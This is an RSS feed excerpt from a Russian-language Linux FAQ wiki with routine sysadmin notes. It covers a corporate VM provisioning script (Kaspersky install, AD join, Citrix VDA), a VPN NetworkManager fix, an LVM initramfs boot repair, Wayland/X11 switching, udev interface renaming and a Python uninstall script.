&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/L10N&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;IgnoreLanguageChange&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;false&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;item oor:path=&amp;quot;/org.openoffice.Setup/L10N&amp;quot;&amp;gt;&amp;lt;prop oor:name=&amp;quot;DecimalSeparatorAsLocale&amp;quot; oor:op=&amp;quot;fuse&amp;quot;&amp;gt;&amp;lt;value&amp;gt;true&amp;lt;/value&amp;gt;&amp;lt;/prop&amp;gt;&amp;lt;/item&amp;gt;
&amp;lt;/oor:items&amp;gt;
EOF

####################################################################
#### Install Kaspersky
####################################################################
ADDONSDIR=&amp;quot;/tmp/addons&amp;quot;
mkdir --parents $ADDONSDIR
curl http://szud-linux-repo.sigma.sbrf.ru/addons.tar.gz | tar -xzv -C $ADDONSDIR
apt-get -y install libc6-i386 build-essential
dpkg -i --force-architecture $ADDONSDIR/kes10/*.deb

###‘PT_PTRACE_CAP’ undeclared (first use in this function)
sed -i &amp;#039;s/ | PT_PTRACE_CAP//&amp;#039; /opt/kaspersky/kav4fs/src/kernel/module.linux/interceptor_rfs.c
/opt/kaspersky/kav4fs/bin/kav4fs-setup.pl --auto-install=$ADDONSDIR/kes10/install.conf

### i_mutex_fix
sed -i &amp;#039;s/mutex_lock(&amp;amp;inode-&amp;gt;i_mutex);/inode_lock(inode);/&amp;#039; /opt/kaspersky/kav4fs/src/kernel/redirfs/rfs.h
sed -i &amp;#039;s/mutex_unlock(&amp;amp;inode-&amp;gt;i_mutex);/inode_unlock(inode);/&amp;#039; /opt/kaspersky/kav4fs/src/kernel/redirfs/rfs.h

/opt/kaspersky/klnagent/lib/bin/setup/postinstall.pl &amp;lt;$ADDONSDIR/kes10/server
/opt/kaspersky/kav4fs/bin/kav4fs-wmconsole-passwd
service kav4fs-wmconsole restart

reboot&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;join_ad_setup_vda&quot;&gt;Join AD &amp;amp; Setup VDA&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Set needed Variables
####################################
NEW_HOSTNAME=$1
CONNECTION=`ip link | grep &amp;#039;state UP&amp;#039; | awk &amp;#039;{ print $2 }&amp;#039; | sed &amp;#039;s/:$//&amp;#039;`
NEW_DOMAINNAME=`grep &amp;#039;option domain-name&amp;#039; /var/lib/dhcp/dhclient.$CONNECTION.leases | tail -n 1 | awk &amp;#039;{print $3}&amp;#039; | sed &amp;#039;s/&amp;quot;//g;s/;//g&amp;#039;`

# check root
if [ &amp;quot;$(id -u)&amp;quot; != &amp;quot;0&amp;quot; ]; then
  echo &amp;quot;You do not have the appropriate privileges...&amp;quot;
  exit 1
fi

# check hostname $1
if [[ -z &amp;quot;$1&amp;quot; ]]; then
        echo &amp;quot;Hostname is epmty&amp;quot;
        echo &amp;quot;Try to run: ./join_ad_ctx.sh new-host-name&amp;quot;
        exit 1
fi

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
echo &amp;quot;127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost&amp;quot; | sudo tee -a /etc/hosts
echo &amp;quot;127.0.0.2 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME&amp;quot; | sudo tee -a /etc/hosts
hostname $NEW_HOSTNAME
domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname

net ads join -U ADDSIGMACA

/opt/Citrix/VDA/sbin/ctxcleanup.sh
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST=&amp;quot;v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru&amp;quot; \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=1 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_LDAP_LIST=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_SEARCH_BASE=&amp;#039;&amp;lt;none&amp;gt;&amp;#039; \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh

sleep 10
reboot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Join AD &amp;amp; Setup VDA&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;join_ad_setup_vda&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;32693-34357&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;join_multiple_vms_to_ad&quot;&gt;Join multiple VMs to AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash
vms_ip=$(cat &amp;lt;&amp;lt;EOF
10.38.246.47
10.38.247.23
10.38.246.46
10.38.247.22
10.38.246.45
10.38.246.44
10.38.246.43
10.38.246.42
10.38.246.41
EOF
)

i=30
for ip_addr in $vms_ip; do
echo &amp;#039;IP &amp;#039;$ip_addr &amp;#039; name - szud-ubuntu&amp;#039;$i
ssh -o StrictHostKeyChecking=no -t localuser@$ip_addr &amp;quot;sudo ~/join_ad_setup_ctx.sh szud-ubuntu$i&amp;quot; &amp;amp;
((i-=1))
done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Join multiple VMs to AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;join_multiple_vms_to_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;34358-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 29 Mar 2021 18:44:15 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке установить VPN-соединение в &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; появляются ошибки: &lt;strong&gt;“No suitable device found”&lt;/strong&gt; или &lt;strong&gt;“Could not find source connection”&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-233&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причина&quot;&gt;Причина&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Причина в том, что сервис &lt;strong&gt;NetworkManager&lt;/strong&gt; не управляет подключениями. Команда:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nmcli c&lt;/pre&gt;

&lt;p&gt;
Не показывает подключения.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;234-456&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В файлике &lt;strong&gt;/etc/NetworkManager/NetworkManager.conf&lt;/strong&gt;, в разделе &lt;strong&gt;[ifupdown]&lt;/strong&gt; нужно поменять:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;managed=false&lt;/pre&gt;

&lt;p&gt;
на
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;managed=true&lt;/pre&gt;

&lt;p&gt;
А затем выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service network-manager restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;457-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_wont_boot_initramfs_no_input_no_cursor</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_wont_boot_initramfs_no_input_no_cursor</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После очередного обновления пакетов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;Ubuntu 14.04&lt;/strong&gt;, корневой раздел которой был на &lt;strong&gt;lvm&lt;/strong&gt;, перестала загружаться и стала выпадать в &lt;strong&gt;initramfs shell&lt;/strong&gt; с сообщением &lt;strong&gt;Gave up waiting for root device&lt;/strong&gt;. &lt;br/&gt;

На первый взгляд все просто. &lt;br/&gt;

Корневая файловая система работает на томе &lt;strong&gt;lvm&lt;/strong&gt; и почему-то при старте не активируются тома &lt;strong&gt;lvm&lt;/strong&gt;. Однако, кроме того, в консоли &lt;strong&gt;initramfs&lt;/strong&gt; не вводятся символы, не виден мигающий курсор. &lt;br/&gt;

Опытным путем установлено, что причина неработоспособности клавиатуры в &lt;strong&gt;initramfs shell&lt;/strong&gt; не в ядре (я пробывал установить и более новые и более старые версии с помощью &lt;strong&gt;chroot&lt;/strong&gt; в &lt;strong&gt;LiveCD&lt;/strong&gt;), не в клавиатуре (она работает в &lt;strong&gt;LiveCD&lt;/strong&gt;). &lt;br/&gt;

Временно починить ввод в &lt;strong&gt;initramfs shell&lt;/strong&gt; удалось с помощью добавления к строке запуска ядра параметра &lt;strong&gt;console&lt;/strong&gt;. Для этого в меню &lt;strong&gt;grub&lt;/strong&gt; идем в &lt;strong&gt;Advanced Options&lt;/strong&gt;, выбираем строку с нужным ядром, жмем &lt;strong&gt;e&lt;/strong&gt; и в конце строки &lt;strong&gt;linux&lt;/strong&gt; дописываем: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;console tty=1&lt;/pre&gt;

&lt;p&gt;
или 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;console tty=2&lt;/pre&gt;

&lt;p&gt;
И нажимаем &lt;strong&gt;F10&lt;/strong&gt;. &lt;br/&gt;

В результате удалось загрузиться в &lt;strong&gt;initramfs shell&lt;/strong&gt; и там появился курсор, однако вводимве символы были не видны. &lt;br/&gt;

Ну да ладно. Чтобы загрузить систему я выполнил:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lvm vgchange -ay&lt;/pre&gt;

&lt;p&gt;
системы сказала что 2 тома Activated. Теперь делаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;exit&lt;/pre&gt;

&lt;p&gt;
И система грузится.
Тепеь надо починить все как было. 
Я предположил, что дело в поврежденных скриптах &lt;strong&gt;initramfs&lt;/strong&gt; и для тогт чтобы все поправить надо переустановить &lt;strong&gt;initramfs-tools&lt;/strong&gt;, однако в моем случае переустановить его оказалось не так-то просто. Выполнение команды 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install --reinstall &lt;/pre&gt;

&lt;p&gt;
и последующее пересоздание &lt;strong&gt;initrd&lt;/strong&gt; результата не принесли.
Удалить оказалось тоже невозможно, так как от этого пакета зависят многие другие (хз зачем он им). 
Для того чтобы точно переустановить &lt;strong&gt;initramfs-tools&lt;/strong&gt; я отредактировал файлик &lt;strong&gt;/var/lib/dpkg/status&lt;/strong&gt;. В нем нужно найти и удалить секцию пакета &lt;strong&gt;initramfs-tools&lt;/strong&gt; (в результате apt будет думать, что пакета нет) а потом выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -f install&lt;/pre&gt;

&lt;p&gt;
При установке будут задаваться вопросы о замене текущий файликов, где я везде нажимал &lt;strong&gt;Y&lt;/strong&gt;.
Потом делаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;update-initramfs -c -k all&lt;/pre&gt;

&lt;p&gt;
и
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;reboot&lt;/pre&gt;

&lt;p&gt;
Наконец-то система стала загружаться в нормальный &lt;strong&gt;initramfs shell&lt;/strong&gt;, без необходимости указания &lt;strong&gt;console=tty1&lt;/strong&gt;. &lt;br/&gt;

Дальнейшее гугление подсказало, что нужно создать или починить скрипт &lt;strong&gt;/usr/share/initramfs-tools/scripts/local-top/lvm2&lt;/strong&gt;, который должен подготовить тома &lt;strong&gt;lvm&lt;/strong&gt; к монтированию. &lt;br/&gt;

На моей системе его просто не было, хотя до определенного момента все работало.
Я создал этот скрипт и написал туда вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh
lvm vgchange -ay&lt;/pre&gt;

&lt;p&gt;
После этого собрал &lt;strong&gt;initramfs&lt;/strong&gt; командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo update-initramfs -c -k all&lt;/pre&gt;

&lt;p&gt;
И перезагрузился. Система загрузилась нормально.
Дальнейшее выяснение привело меня сюда: &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1573982&quot; class=&quot;urlextern&quot; title=&quot;https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1573982&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1573982&lt;/a&gt;
И там написано, что причина такого глюка в обновлении lvm2.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lvm2 (2.02.133-1ubuntu8) xenial; urgency=medium

  * Drop debian/85-lvm2.rules. This is redundant now, VGs are already
    auto-assembled via lvmetad and 69-lvm-metad.rules. This gets rid of using
    watershed, which causes deadlocks due to blocking udev rule processing.
    (LP: #1560710)
  * debian/rules: Put back initramfs-tools script to ensure that the root and
    resume devices are activated (lvmetad is not yet running in the initrd).
  * debian/rules: Put back activation systemd generator, to assemble LVs in
    case the admin disabled lvmetad.
  * Make debian/initramfs-tools/lvm2/scripts/init-premount/lvm2 executable and
    remove spurious chmod +x Ubuntu delta in debian/rules.

 -- Martin Pitt &amp;lt;email address hidden&amp;gt; Wed, 30 Mar 2016 10:56:49 +0200&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_x11_wayland_switch</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_x11_wayland_switch</link>
            <description>
&lt;p&gt;
В качестве рабочей среды я использую &lt;strong&gt;Ubuntu&lt;/strong&gt; + &lt;strong&gt;KDE&lt;/strong&gt;. &lt;br/&gt;

Узнав, что сборки &lt;strong&gt;Ubuntu&lt;/strong&gt; на базе &lt;strong&gt;Gnome&lt;/strong&gt; будут по дефолту использовать &lt;strong&gt;Wayland&lt;/strong&gt; я тоже захотел так. &lt;br/&gt;

Однако - оказалось на данный момент это невозможно. &lt;br/&gt;

Полный список проблем, которые сопровождают работу &lt;strong&gt;KDE Plasma&lt;/strong&gt; на &lt;strong&gt;Wayland&lt;/strong&gt; тут: &lt;a href=&quot;https://community.kde.org/Plasma/Wayland_Showstoppers&quot; class=&quot;urlextern&quot; title=&quot;https://community.kde.org/Plasma/Wayland_Showstoppers&quot; rel=&quot;ugc nofollow&quot;&gt;https://community.kde.org/Plasma/Wayland_Showstoppers&lt;/a&gt;
Пока (июнь 2021) я решил обождать :) 
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_проверить_какой_сервер_используется_-_wayland_или_xorg_x11&quot;&gt;Как проверить какой сервер используется - Wayland или Xorg (X11)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;echo $XDG_SESSION_TYPE&lt;/pre&gt;

&lt;p&gt;
или
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;loginctl show-session `loginctl | grep $USER | awk &amp;#039;{print $1}&amp;#039;` -p Type&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043a\u0430\u043a\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f - Wayland \u0438\u043b\u0438 Xorg (X11)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c_\u043a\u0430\u043a\u043e\u0439_\u0441\u0435\u0440\u0432\u0435\u0440_\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f_-_wayland_\u0438\u043b\u0438_xorg_x11&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;614-838&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;для_того_чтобы_запустить_сессию_kde_plasma_в_wayland&quot;&gt;Для того чтобы запустить сессию KDE Plasma в Wayland&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install kwin-wayland plasma-workspace-wayland&lt;/pre&gt;

&lt;p&gt;
И теперь внизу экрана входа &lt;strong&gt;SDDM&lt;/strong&gt; будет отображаться тип сессии, где можно выбрать &lt;strong&gt;Wayland&lt;/strong&gt; или &lt;strong&gt;X11 Xorg&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u044e KDE Plasma \u0432 Wayland&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043b\u044f_\u0442\u043e\u0433\u043e_\u0447\u0442\u043e\u0431\u044b_\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c_\u0441\u0435\u0441\u0441\u0438\u044e_kde_plasma_\u0432_wayland&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;839-1176&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;если_gui-программа_не_поддерживает_waylang&quot;&gt;Если GUI-программа не поддерживает Waylang&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Некоторые программы, запускаемые с повышенными привилегиями (&lt;strong&gt;sudo&lt;/strong&gt;) не работают с &lt;strong&gt;Wayland&lt;/strong&gt;. &lt;br/&gt;

Чтобы запустить такую программу выполняем: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xhost +si:localuser:root&lt;/pre&gt;

&lt;p&gt;
И затем запускаем программу:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo gparted&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0441\u043b\u0438 GUI-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 Waylang&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0441\u043b\u0438_gui-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430_\u043d\u0435_\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442_waylang&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1177-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 04 Jun 2021 12:35:29 +0000</pubDate>
        </item>
        <item>
            <title>udev_network_adapters_names</title>
            <link>https://wiki.autosys.tk/linux_faq/udev_network_adapters_names</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После смены ноутбука слетели все пароли Wi-Fi на Ubuntu 24.04. &lt;br/&gt;

Оказалось, в конфигах подключений Network Manager хранит имя девайса, а при смене адаптера оно изменилось, но это не глюк - это фича! &lt;br/&gt;

systemd/udev predictable device names - &lt;a href=&quot;https://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames/&quot; class=&quot;urlextern&quot; title=&quot;https://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames/&lt;/a&gt; &lt;br/&gt;

У меня было имя адаптера &lt;strong&gt;wlp2s0&lt;/strong&gt;, а стало - &lt;strong&gt;wlp195s0&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-578&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;как_задать_сетевому_адаптеру_нужное_прежнее_имя&quot;&gt;Как задать сетевому адаптеру нужное (прежнее) имя&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Смотрим какие есть свойства у адаптера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; udevadm info /sys/class/net/wlp195s0 

P: /devices/pci0000:00/0000:00:02.3/0000:c3:00.0/net/wlp195s0
M: wlp195s0
R: 0
U: net
T: wlan
I: 2
E: DEVPATH=/devices/pci0000:00/0000:00:02.3/0000:c3:00.0/net/wlp195s0
E: SUBSYSTEM=net
E: DEVTYPE=wlan
E: INTERFACE=wlp195s0
E: IFINDEX=2
E: USEC_INITIALIZED=12481317
E: ID_NET_DRIVER=mt7925e
E: ID_MM_CANDIDATE=1
E: ID_NET_NAMING_SCHEME=v255
E: ID_NET_NAME_MAC=wlxa8e291162c6a
E: ID_NET_NAME_PATH=wlp195s0
E: ID_BUS=pci
E: ID_VENDOR_ID=0x14c3
E: ID_MODEL_ID=0x7925
E: ID_PCI_CLASS_FROM_DATABASE=Network controller
E: ID_PCI_SUBCLASS_FROM_DATABASE=Network controller
E: ID_VENDOR_FROM_DATABASE=MEDIATEK Corp.
E: ID_PATH=pci-0000:c3:00.0
E: ID_PATH_TAG=pci-0000_c3_00_0
E: ID_NET_LINK_FILE=/usr/lib/systemd/network/99-default.link
E: ID_NET_NAME=wlp195s0
E: NM_UNMANAGED=0
E: SYSTEMD_ALIAS=/sys/subsystem/net/devices/wlp195s0
E: TAGS=:systemd:
E: CURRENT_TAGS=:systemd:&lt;/pre&gt;

&lt;p&gt;
И формулируем какое-нибудь правило:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/udev/rules.d/70-persistent-net.rules&lt;/pre&gt;

&lt;p&gt;
по mac-адресу
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, ATTR{address}==&amp;quot;00:11:22:33:44:55&amp;quot;, NAME=&amp;quot;net0&amp;quot;&lt;/pre&gt;

&lt;p&gt;
по vendor/device
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, ATTRS{vendor}==&amp;quot;0x14c3&amp;quot;, ATTRS{device}==&amp;quot;0x7925&amp;quot;, NAME=&amp;quot;wlp2s0&amp;quot;&lt;/pre&gt;

&lt;p&gt;
И применим
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo udevadm control --reload
sudo udevadm trigger&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0437\u0430\u0434\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0443 \u043d\u0443\u0436\u043d\u043e\u0435 (\u043f\u0440\u0435\u0436\u043d\u0435\u0435) \u0438\u043c\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0437\u0430\u0434\u0430\u0442\u044c_\u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443_\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0443_\u043d\u0443\u0436\u043d\u043e\u0435_\u043f\u0440\u0435\u0436\u043d\u0435\u0435_\u0438\u043c\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;579-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 04 Jun 2025 08:23:19 +0000</pubDate>
        </item>
        <item>
            <title>uninstall_python_installed_from_source</title>
            <link>https://wiki.autosys.tk/linux_faq/uninstall_python_installed_from_source</link>
            <description>&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

prefix=&amp;#039;/usr/local/&amp;#039;
pyver=&amp;#039;3.8&amp;#039;

rm -rf \
    $HOME/.local/lib/Python${pyver} \
    ${prefix}bin/python${pyver} \
    ${prefix}bin/python${pyver}-config \
    ${prefix}bin/pip${pyver} \
    ${prefix}bin/pydoc \
    ${prefix}bin/include/python${pyver} \
    ${prefix}lib/libpython${pyver}.a \
    ${prefix}lib/python${pyver} \
    ${prefix}lib/pkgconfig/python-${pyver}.pc \
    ${prefix}lib/libpython${pyver}m.a \
    ${prefix}bin/python${pyver}m \
    ${prefix}bin/2to3-${pyver} \
    ${prefix}bin/python${pyver}m-config \
    ${prefix}bin/idle${pyver} \
    ${prefix}bin/pydoc${pyver} \
    ${prefix}bin/pyvenv-${pyver} \
    ${prefix}share/man/man1/python${pyver}.1 \
    ${prefix}include/python${pyver}m \
    ${prefix}include/python${pyver} \
    ${prefix}bin/easy_install-${pyver}&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 21 Oct 2022 12:09:44 +0000</pubDate>
        </item>
        <item>
            <title>universal_multiboot_grub_bios_uefi</title>
            <link>https://wiki.autosys.tk/linux_faq/universal_multiboot_grub_bios_uefi</link>
            <description>
